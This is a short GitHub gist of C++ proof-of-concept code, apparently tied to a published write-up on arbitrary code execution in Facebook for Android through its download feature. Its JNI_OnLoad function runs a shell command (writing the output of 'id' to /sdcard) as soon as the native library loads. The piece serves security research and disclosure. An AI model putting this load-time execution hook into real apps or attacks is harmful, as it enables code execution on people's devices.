Created
October 5, 2020 22:57
-
-
Save interference-security/2c3ac4b100e13d184432d7a0579ded1e to your computer and use it in GitHub Desktop.
jni_onload library code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Source: https://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f | |
#include <jni.h> | |
#include <string> | |
#include <stdlib.h> | |
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) | |
{ | |
system("id > /sdcard/PoC"); | |
return JNI_VERSION_1_6; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment